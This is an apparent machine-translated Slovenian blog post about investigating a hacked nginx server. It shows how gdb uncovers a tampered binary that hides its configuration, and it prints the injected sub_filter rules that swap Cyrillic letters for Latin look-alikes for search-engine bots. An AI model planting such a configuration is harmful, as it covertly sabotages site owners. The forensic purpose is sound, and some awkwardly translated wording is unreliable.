Ko 'a' ni enako 'a'. Na sledi krampu

Zelo neprijetna zgodba se je zgodila enemu od mojih prijateljev. A kakorkoli neprijetno se je izkazalo za Mikhaila, je bilo zame prav tako zabavno.

Moram reči, da je moj prijatelj precej UNIX-uporabnik: lahko sam namesti sistem mysql, php in naredite preproste nastavitve nginx.
In ima ducat ali eno in pol spletnih strani, namenjenih gradbenim orodjem.

Eno od teh spletnih mest, posvečenih motornim žagam, je trdno na vrhu iskalnikov. To spletno mesto je nekomercialni ocenjevalec, vendar se je nekdo navadil, da ga je napadel. to DDoS, nato brutalna sila, nato pišejo nespodobne komentarje in pošiljajo žaljivke gostovanju in RKN.
Nenadoma se je vse umirilo in izkazalo se je, da ta mir ni dober in stran je začela postopoma zapuščati zgornje vrstice rezultatov iskanja.

Ko 'a' ni enako 'a'. Po vdoru

To je bil pregovor, potem pa sama zgodba administratorja.

Bližal se je čas za spanje, ko je zazvonil telefon: »San, ali ne boš pogledal mojega strežnika? Zdi se mi, da so me vdrli, tega ne morem dokazati, vendar me občutek ne zapusti že tretji teden. Mogoče je samo čas, da se zdravim zaradi paranoje?«

Sledila je polurna razprava, ki jo lahko povzamemo takole:

  • tla za hekanje so bila precej rodovitna;
  • napadalec bi lahko pridobil pravice superuporabnika;
  • napad (če se je zgodil) je bil usmerjen posebej na to spletno mesto;
  • problematična področja so bila popravljena in samo razumeti morate, ali je prišlo do penetracije;
  • vdor ni mogel vplivati ​​na kodo spletnega mesta in baze podatkov.

Glede zadnje točke.

Ko 'a' ni enako 'a'. Po vdoru

V svet gleda samo beli naslov IP. Med zaledjem in sprednjim delom ni izmenjave, razen http(s), uporabniki/gesla so različni, ključi niso bili izmenjani. Na sivih naslovih so vsa vrata razen 80/443 zaprta. Bela zaledna IP-ja poznata samo dva uporabnika, ki jima Mikhail popolnoma zaupa.

Nameščen na sprednjem delu Debian 9 in v času klica je sistem izoliran od sveta z zunanjim požarnim zidom in ustavljen.

»V redu, daj mi dostop,« se odločim, da bom za eno uro odložil spanje. "Videl bom na lastne oči."

Tukaj in naprej:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Iščete možen vdor

Najprej zaženem strežnik reševalni način. Montiram diske in jih prelistam avtor-hlodi, zgodovina, sistemske dnevnike itd., če je mogoče, preverim datume nastanka datoteke, čeprav razumem, da bi navaden kreker "pometel" za seboj, Miša pa je že veliko "poteptal", ko se je iskal .

Začnem v običajnem načinu, še ne razumem, kaj naj iščem, preučujem konfiguracije. Najprej me zanima nginx saj na splošno ni ničesar drugega na frontendu razen njega.
Konfiguracije so majhne, ​​dobro strukturirane v ducat datotek, samo pregledujem jih mačka'oh enega po enega. Zdi se, da je vse čisto, vendar nikoli ne veš, če sem kaj spregledal vključujejo, naj naredim celoten seznam:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Nisem razumel: "Kje je seznam?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Drugo vprašanje je dodano vprašanju na seznamu: "Zakaj tako starodavna različica nginxa?"

Poleg tega sistem meni, da je nameščena najnovejša različica:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

kličem:
- Miša, zakaj si se ponovno sestavil nginx?
- Čakaj, sploh ne vem, kako to narediti!
- Ok, no, pojdi spat ...

Nginx očitno je na novo zgrajen in izhod seznama z uporabo »-T« je z razlogom skrit. Dvomov o hekanju ni več in lahko se preprosto sprijazniš s tem in (ker je Miša vseeno zamenjal strežnik z novim) smatraš, da je problem rešen.

In res, saj je nekdo dobil pravice koren'ah, potem je to edino smiselno narediti ponovno namestitev sistema, in tam ni bilo smiselno iskati, kaj je narobe, a tokrat je radovednost premagala spanec. Kako lahko ugotovimo, kaj so nam želeli prikriti?

Poskusimo izslediti:

$ strace nginx -T

Pogledamo ga, očitno ni dovolj vrstic v sledi a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Za šalo primerjajmo ugotovitve.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Mislim, da del kode /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

je bil priveden v obliko:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ali

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

zato seznam z "-T" ni prikazan.

Toda kako si lahko ogledamo našo konfiguracijo?

Če je moja misel pravilna in je problem le v spremenljivki ngx_dump_config poskusimo ga namestiti z uporabo gdb, na srečo obstaja ključ --with-cc-opt -g prisoten in upam, da optimizacija -O2 ne bo nam škodilo. Hkrati, saj ne vem, kako ngx_dump_config bi lahko obdelali v primer 'T':, tega bloka ne bomo poklicali, ampak ga namestili z uporabo primer 't':

Zakaj lahko uporabite '-t' in tudi '-T'Obdelava blokov if(ngx_dump_config) dogaja znotraj if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Seveda, če se koda spremeni v tem delu in ne v primer 'T':, potem moja metoda ne bo delovala.

Preizkusite nginx.confPo poskusni rešitvi težave je bilo ugotovljeno, da je za delovanje zlonamerne programske opreme potrebna minimalna konfiguracija nginx vrsta:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

V članku ga bomo uporabili zaradi jedrnatosti.

Zaženite razhroščevalnik

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Korak za korakom:

  • nastavite prekinitveno točko v funkciji glavni ()
  • zaženite program
  • spremenite vrednost spremenljivke, ki določa izhod konfiguracije ngx_dump_config=1
  • nadaljevanje/končanje programa

Kot lahko vidimo, se prava konfiguracija razlikuje od naše, iz nje izberemo parazitski del:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Poglejmo si dogajanje tukaj po vrsti.

So odločeni User-Agentyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Storitvene strani so izključene WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

In za tiste, ki spadajo pod oba zgoraj navedena pogoja

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

v besedilu html- spreminjanje strani 'O' o 'o' и 'A' o "a":

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Tako je, edina subtilnost je to 'a' != 'a' tako kot 'o' != 'o':

Ko 'a' ni enako 'a'. Po vdoru

Tako roboti iskalnikov prejmejo namesto običajnega 100% ciriličnega besedila spremenjene smeti, razredčene z latinico "a" и 'o'. O tem, kako to vpliva na SEO, si ne upam razpravljati, vendar je malo verjetno, da bo takšna zmešnjava črk pozitivno vplivala na pozicije v rezultatih iskanja.

Kaj naj rečem, fantje z domišljijo.

reference

Odpravljanje napak z GDB
gdb(1) — stran priročnika za Linux
strace(1) — priročnik za Linux
Nginx – Modul ngx_http_sub_module
O žagah, motornih žagah in električnih žagah

Vir: www.habr.com

Dodaj komentar